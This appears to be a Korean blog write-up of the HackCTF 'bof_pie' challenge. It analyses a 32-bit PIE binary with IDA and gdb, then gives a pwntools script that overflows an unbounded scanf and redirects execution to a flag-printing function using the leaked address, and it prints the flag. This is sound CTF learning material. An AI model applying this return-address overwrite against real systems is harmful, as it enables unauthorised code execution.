[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 존재

 

바이너리 실행

  • j0n9hyun의 주소를 출력한 후 사용자로부터 입력을 받고 있음
  • 주소 값의 하위 1.5byte는 고정되어 있음 → PIE가 걸려있어 모든 영역이 상대주소를 가짐. offset은 고정

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  welcome();
  puts("Nah...");
  return 0;
}
  • 단순히 welcome 함수 호출

 

IDA 분석 - welcome 함수

int welcome()
{
  char v1; // [esp+6h] [ebp-12h]@1

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Hello, Do you know j0n9hyun?");
  printf("j0n9hyun is %p\\n", welcome);
  return _isoc99_scanf("%s", &v1);
}
  • printf에서 welcome 함수 주소 출력
  • return에서 사용자의 입력을 받고 있음 → 입력값에 대한 길이 검증을 실시하지 않아 BOF 발생

 

IDA 분석 - j0n9hyun 함수

void j0n9hyun()
{
  char s; // [esp+4h] [ebp-34h]@3
  FILE *stream; // [esp+2Ch] [ebp-Ch]@1

  puts("ha-wi");
  stream = fopen("flag", "r");
  if ( stream )
  {
    fgets(&s, 40, stream);
    fclose(stream);
    puts(&s);
  }
  else
  {
    perror("flag");
  }
}
  • flag 획득 가능

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000640  _init
0x00000680  printf@plt
0x00000690  fgets@plt
0x000006a0  fclose@plt
0x000006b0  perror@plt
0x000006c0  puts@plt
0x000006d0  __libc_start_main@plt
0x000006e0  setvbuf@plt
0x000006f0  fopen@plt
0x00000700  __isoc99_scanf@plt
0x00000710  __cxa_finalize@plt
0x00000718  __gmon_start__@plt
0x00000720  _start
0x00000760  __x86.get_pc_thunk.bx
0x00000770  deregister_tm_clones
0x000007b0  register_tm_clones
0x00000800  __do_global_dtors_aux
0x00000850  frame_dummy
0x0000088c  __x86.get_pc_thunk.dx
0x00000890  j0n9hyun
0x00000909  welcome
0x00000973  main
0x000009b0  __libc_csu_init
0x00000a10  __libc_csu_fini
0x00000a14  _fini
  • main offset: 0x973
  • welcome offset: 0x909
  • j0n9hyun offset: 0x890

 

gdb 분석 - main 함수

pwndbg> disass welcome
Dump of assembler code for function welcome:
   0x00000909 <+0>:	push   ebp
   0x0000090a <+1>:	mov    ebp,esp
   0x0000090c <+3>:	sub    esp,0x18
   0x0000090f <+6>:	mov    eax,ds:0x0
   0x00000914 <+11>:	push   0x0
   0x00000916 <+13>:	push   0x2
   0x00000918 <+15>:	push   0x0
   0x0000091a <+17>:	push   eax
   0x0000091b <+18>:	call   0x91c <welcome+19>
   0x00000920 <+23>:	add    esp,0x10
   0x00000923 <+26>:	mov    eax,ds:0x0
   0x00000928 <+31>:	push   0x0
   0x0000092a <+33>:	push   0x2
   0x0000092c <+35>:	push   0x0
   0x0000092e <+37>:	push   eax
   0x0000092f <+38>:	call   0x930 <welcome+39>
   0x00000934 <+43>:	add    esp,0x10
   0x00000937 <+46>:	sub    esp,0xc
   0x0000093a <+49>:	push   0xa3d
   0x0000093f <+54>:	call   0x940 <welcome+55>
   0x00000944 <+59>:	add    esp,0x10
   0x00000947 <+62>:	sub    esp,0x8
   0x0000094a <+65>:	push   0x909
   0x0000094f <+70>:	push   0xa5a
   0x00000954 <+75>:	call   0x955 <welcome+76>
   0x00000959 <+80>:	add    esp,0x10
   0x0000095c <+83>:	sub    esp,0x8
   0x0000095f <+86>:	lea    eax,[ebp-0x12]
   0x00000962 <+89>:	push   eax
   0x00000963 <+90>:	push   0xa6a
   0x00000968 <+95>:	call   0x969 <welcome+96>
   0x0000096d <+100>:	add    esp,0x10
   0x00000970 <+103>:	nop
   0x00000971 <+104>:	leave  
   0x00000972 <+105>:	ret    
End of assembler dump.
  • 함수 이름이 나타나지 않음
  • 디컴파일 흐름에 따라 가장 마지막에 위치한 call 부분이 scanf 함수를 호출하는 부분일 것이라 예측
  • welcome+100에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffd026에 저장

  • 0xffffd03c에서 main+22(ret) 확인
  • 사용자의 입력~0xffffd03c까지의 offset = 22(0x16)

 

문제 해결

💡 dummy(22) + j0n9hyun_address(0x890)

→ j0n9hyun의 주소까지의 offset = welcome 주소(0x909) - j0n9hyun 주소(0x890) = 121(0x79)

→ 바이너리 실행으로 얻을 수 있는 welcome 주소를 이용해 offset만큼 빼주면 j0n9hyun 주소를 구할 수 있음

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3008)
e=ELF('./bof_pie')

p.recvuntil("is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - 0x79

payload = "A"*22 + p32(j0n9hyun)

p.sendline(payload)
p.interactive()

 

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3008)
e=ELF('./bof_pie')

p.recvuntil("is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - 0x79

payload = b"A"*22 + p32(j0n9hyun)

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{243699563792879976364976468837}

[정리]

  • NX Bit

: heap, stack, data영역에 실행권한이 없음

  • PIE

: code(text)영역을 포함한 모든 영역이 랜덤하게 매핑(data, stack, heap, libc)

  • ASLR

: stack, heap, library 영역이 랜덤하게 매핑

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30
[HackCTF] Offset  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30

+ Recent posts